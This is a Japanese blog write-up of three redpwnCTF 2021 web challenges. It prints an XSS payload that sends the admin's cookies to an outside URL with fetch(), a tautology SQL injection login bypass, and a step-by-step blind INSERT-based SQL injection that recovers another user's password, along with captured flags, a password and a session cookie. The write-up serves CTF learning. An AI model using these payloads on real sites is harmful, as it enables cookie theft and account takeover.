よーでんのブログ

One for All,All for わんわんお!

redpwnCTF 2021

writeup

去年に引き続き、redpwnに参加。

Webはチームで5個解けてるけど、2つは自分が参加する前にn01e0が解いてたので3つだけ。
その3つも、自明問と超パワー解法。

  • pastebin-1
  • secure
  • cool

pastebin-1

Ah, the classic pastebin. Can you get the admin's cookies?

自明なXSSとadmin botがある。

<script>fetch("[url]"+document.cookie)</script>

とかで作成、そのURLをadmin botに提出するとcookie付きのリクエストがくる。

flag{d1dn7_n33d_70_b3_1n_ru57}

didnt need to be in rust。rustでやる必要なかったらしい。

secure

Just learned about encryption—now, my website is unhackable!

ログインフォーム。適当にyoden:yodenで送信してみると、以下のようなレスポンス。

Incorrect username or password. Query: SELECT id FROM users WHERE username = 'eW9kZW4=' AND password = 'eW9kZW4=';

入力した値がbase64エンコードされている。
一見SQLiできなそうに見えたが、実はクライアント側でbase64エンコードして送っているだけなので、burp等で自由に改ざんできる。

admin:'or+'a'='aで送信すればflag。

flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

something something client not good

cool

Aaron has a message for the cool kids. For support, DM BrownieInMotion.

ログインフォーム。今度はregisterがあるので、yoden:yodenで登録したところ、

You are logged in!
Unfortunately, Aaron's message is for cool people only.
(like ginkoid)

coolじゃないって言われた。

ginkoidというユーザでログインしなきゃメッセージは見れないみたいだ。

ソースを見てみると、ユーザ名とパスワードはそれぞれ以下のような制約がある。

  • ユーザ名
    • 使用可能文字: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789
    • 文字数: 1文字以上
    • 重複不可
  • パスワード
    • 文字数: 50文字以下

ログイン時のSQLは以下。

SELECT password FROM users WHERE username='{username}';

ユーザ名でpassowrdをselectした後、リクエストのパスワードと照合する。
いかにもSQLiができそうな書き方をしているが、usernameは記号が使えないのでここでSQLiはできなそう。

パスワードがSQLクエリに含まれている箇所を探すと、register時のみ使っていた。

INSERT INTO users (username, password) VALUES ('{username}', '{password}');

ここでSQLiができそうだ。
パスワードに'とかを入力すると500 Internal Server Error

少し試したところ、50文字の制限は結構厳しいし、複文は実行できなそう。
そうなるとvalueにインジェクションできたところで、だいぶ攻撃方法が限られる。
悩んだ末に超パワー解法になった。(たぶんもっといい方法あるけど、いい経験にはなった)

  1. yoden1:'||(select+substr(password,1,1)from+users)||'で登録
    これでusersテーブルの一列目(ginkoid)のパスワードの一文字目をパスワードにもつ、yoden1というユーザが作成される
  2. yoden1:aでログイン、yoden1:bでログイン・・・
    Dでログインできる。ginkoidのパスワードの一文字目はD
  3. yoden2:'||(select+substr(password,2,1)from+users)||'で登録
  4. yoden2:aでログイン、yoden2:bでログイン・・・
    iでログインできる。ginkoidのパスワードの一文字目はi

という風に、ginkoidのパスワードのn文字目をパスワードにもつユーザnをいくつも作って、そのアカウントに対してブルートフォースしていくことでパスワードを特定していく。

ユーザ作成のsubstrの第二引数がパスワードの文字数を越した場合は空文字がパスワードになるので、空文字でログインできたらそこまでがパスワードになる。

結果、33個のアカウントを作成してパスワードを特定し終えた。
アカウント作成はReperterで手動、ブルートフォースはIntruderを使って自動化したが、1時間程度かかった。

ginkoid:DiAS28Rcs3WupHuF3MSNf1QOQbQpiuqGでログインしたらよくわからない音声が再生される。「so ナントカ is cool」?
配布のソースを読んだところ、音声のファイル名はflag-at-end-of-file.mp3
flagを読み上げているような気配はないので、ステガノだろうか。

wgetでダウンロードする。

$ wget --header "cookie:session=eyJ1c2VybmFtZSI6ImdpbmtvaWQifQ.YOwpaA.9yQ5iNuMu1R6d1Ysj5O5U7e1JE8" https://cool.mc.ax/message

stringsすると一番最後にflag。

$ strings message
  :
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUflag{44r0n_s4ys_s08r137y_1s_c00l}

flag{44r0n_s4ys_s08r137y_1s_c00l}

aaron says sobriety is cool。音声ファイルではsobriety is coolと言ってたようだ。


notesはTagがエスケープされてないのは分かったけど、文字数制限がきつくて無理だった。
コメントアウトとか駆使すればできるのかな。